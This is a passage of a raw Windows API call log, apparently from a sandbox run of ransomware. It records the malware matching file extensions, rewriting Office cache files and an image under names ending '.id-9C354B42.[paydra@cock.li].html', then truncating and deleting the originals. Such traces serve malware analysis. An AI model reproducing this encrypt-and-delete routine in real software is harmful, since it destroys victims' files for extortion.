Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.271] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.272] lstrlenW (lpString=".doc") returned 4 [0035.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.272] lstrlenW (lpString=".docx") returned 5 [0035.272] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.272] lstrlenW (lpString=".pdf") returned 4 [0035.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.272] lstrlenW (lpString=".xls") returned 4 [0035.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.272] lstrlenW (lpString=".xlsx") returned 5 [0035.272] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.272] lstrlenW (lpString=".ppt") returned 4 [0035.272] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.272] lstrlenW (lpString=".zip") returned 4 [0035.272] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.272] lstrlenW (lpString=".rar") returned 4 [0035.272] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.272] lstrlenW (lpString=".bz2") returned 4 [0035.272] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.272] lstrlenW (lpString=".7z") returned 3 [0035.272] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.272] lstrlenW (lpString=".dbf") returned 4 [0035.272] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.272] lstrlenW (lpString=".1cd") returned 4 [0035.272] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.272] lstrlenW (lpString=".jpg") returned 4 [0035.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.273] lstrlenW (lpString=".doc") returned 4 [0035.273] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString=".docx") returned 5 [0035.273] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.273] lstrlenW (lpString=".pdf") returned 4 [0035.273] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString=".xls") returned 4 [0035.273] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString=".xlsx") returned 5 [0035.273] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.273] lstrlenW (lpString=".ppt") returned 4 [0035.273] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.273] lstrlenW (lpString=".zip") returned 4 [0035.273] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.273] lstrlenW (lpString=".rar") returned 4 [0035.273] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString=".bz2") returned 4 [0035.273] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString=".7z") returned 3 [0035.273] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.273] lstrlenW (lpString=".dbf") returned 4 [0035.273] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.273] lstrlenW (lpString=".1cd") returned 4 [0035.273] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.273] lstrlenW (lpString=".jpg") returned 4 [0035.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.274] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.274] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.274] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.275] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=4274) returned 1 [0035.275] CloseHandle (hObject=0x1ac) returned 1 [0035.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.275] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.275] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.275] GetLastError () returned 0x0 [0035.275] ReadFile (in: hFile=0x1ac, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.277] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.278] ReadFile (in: hFile=0x1ac, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.278] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.278] SetEndOfFile (hFile=0x190) returned 1 [0035.278] CloseHandle (hObject=0x190) returned 1 [0035.279] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.279] SetEndOfFile (hFile=0x1ac) returned 1 [0035.279] CloseHandle (hObject=0x1ac) returned 1 [0035.279] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.280] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.280] lstrlenW (lpString=".doc") returned 4 [0035.280] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.280] lstrlenW (lpString=".docx") returned 5 [0035.280] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.280] lstrlenW (lpString=".pdf") returned 4 [0035.280] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.280] lstrlenW (lpString=".xls") returned 4 [0035.280] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.280] lstrlenW (lpString=".xlsx") returned 5 [0035.280] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.280] lstrlenW (lpString=".ppt") returned 4 [0035.280] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.280] lstrlenW (lpString=".zip") returned 4 [0035.280] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.280] lstrlenW (lpString=".rar") returned 4 [0035.280] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.280] lstrlenW (lpString=".bz2") returned 4 [0035.280] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.280] lstrlenW (lpString=".7z") returned 3 [0035.281] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.281] lstrlenW (lpString=".dbf") returned 4 [0035.281] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.281] lstrlenW (lpString=".1cd") returned 4 [0035.281] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.281] lstrlenW (lpString=".jpg") returned 4 [0035.281] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.281] lstrlenW (lpString=".doc") returned 4 [0035.281] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".docx") returned 5 [0035.281] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.281] lstrlenW (lpString=".pdf") returned 4 [0035.281] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".xls") returned 4 [0035.281] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".xlsx") returned 5 [0035.281] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.281] lstrlenW (lpString=".ppt") returned 4 [0035.281] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.281] lstrlenW (lpString=".zip") returned 4 [0035.281] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.281] lstrlenW (lpString=".rar") returned 4 [0035.281] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".bz2") returned 4 [0035.281] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".7z") returned 3 [0035.282] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.282] lstrlenW (lpString=".dbf") returned 4 [0035.282] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.282] lstrlenW (lpString=".1cd") returned 4 [0035.282] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.282] lstrlenW (lpString=".jpg") returned 4 [0035.282] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.282] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.282] lstrlenW (lpString="Setup.xml") returned 9 [0035.282] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.282] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=20577) returned 1 [0035.282] CloseHandle (hObject=0x1ac) returned 1 [0035.282] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.283] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.283] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.283] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.283] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.283] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.283] GetLastError () returned 0x0 [0035.283] ReadFile (in: hFile=0x1ac, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5061, lpOverlapped=0x0) returned 1 [0035.793] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0035.794] ReadFile (in: hFile=0x1ac, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.794] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.794] SetEndOfFile (hFile=0x190) returned 1 [0035.794] CloseHandle (hObject=0x190) returned 1 [0035.795] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.795] SetEndOfFile (hFile=0x1ac) returned 1 [0035.796] CloseHandle (hObject=0x1ac) returned 1 [0035.796] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.796] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.870] lstrlenW (lpString=".doc") returned 4 [0035.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString=".docx") returned 5 [0035.870] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.870] lstrlenW (lpString=".pdf") returned 4 [0035.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString=".xls") returned 4 [0035.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString=".xlsx") returned 5 [0035.870] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.870] lstrlenW (lpString=".ppt") returned 4 [0035.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.871] lstrlenW (lpString=".zip") returned 4 [0035.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.871] lstrlenW (lpString=".rar") returned 4 [0035.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString=".bz2") returned 4 [0035.871] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString=".7z") returned 3 [0035.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.871] lstrlenW (lpString=".dbf") returned 4 [0035.871] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.871] lstrlenW (lpString=".1cd") returned 4 [0035.871] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.871] lstrlenW (lpString=".jpg") returned 4 [0035.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.871] lstrlenW (lpString=".doc") returned 4 [0035.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString=".docx") returned 5 [0035.871] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.871] lstrlenW (lpString=".pdf") returned 4 [0035.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString=".xls") returned 4 [0035.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString=".xlsx") returned 5 [0035.871] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.871] lstrlenW (lpString=".ppt") returned 4 [0035.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.872] lstrlenW (lpString=".zip") returned 4 [0035.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.872] lstrlenW (lpString=".rar") returned 4 [0035.872] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.872] lstrlenW (lpString=".bz2") returned 4 [0035.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.872] lstrlenW (lpString=".7z") returned 3 [0035.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.872] lstrlenW (lpString=".dbf") returned 4 [0035.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.872] lstrlenW (lpString=".1cd") returned 4 [0035.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.872] lstrlenW (lpString=".jpg") returned 4 [0035.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.993] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1 [0035.993] lstrlenW (lpString="MS.JPG") returned 6 [0035.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0035.994] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1061) returned 1 [0035.994] CloseHandle (hObject=0x1b0) returned 1 [0035.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0035.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0035.995] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.995] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.995] GetLastError () returned 0x0 [0035.995] ReadFile (in: hFile=0x1b0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x425, lpOverlapped=0x0) returned 1 [0036.013] WriteFile (in: hFile=0x1a0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x430, lpOverlapped=0x0) returned 1 [0036.013] ReadFile (in: hFile=0x1b0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.014] WriteFile (in: hFile=0x1a0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0036.014] SetEndOfFile (hFile=0x1a0) returned 1 [0036.014] CloseHandle (hObject=0x1a0) returned 1 [0036.015] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.015] SetEndOfFile (hFile=0x1b0) returned 1 [0036.015] CloseHandle (hObject=0x1b0) returned 1 [0036.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0036.016] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common 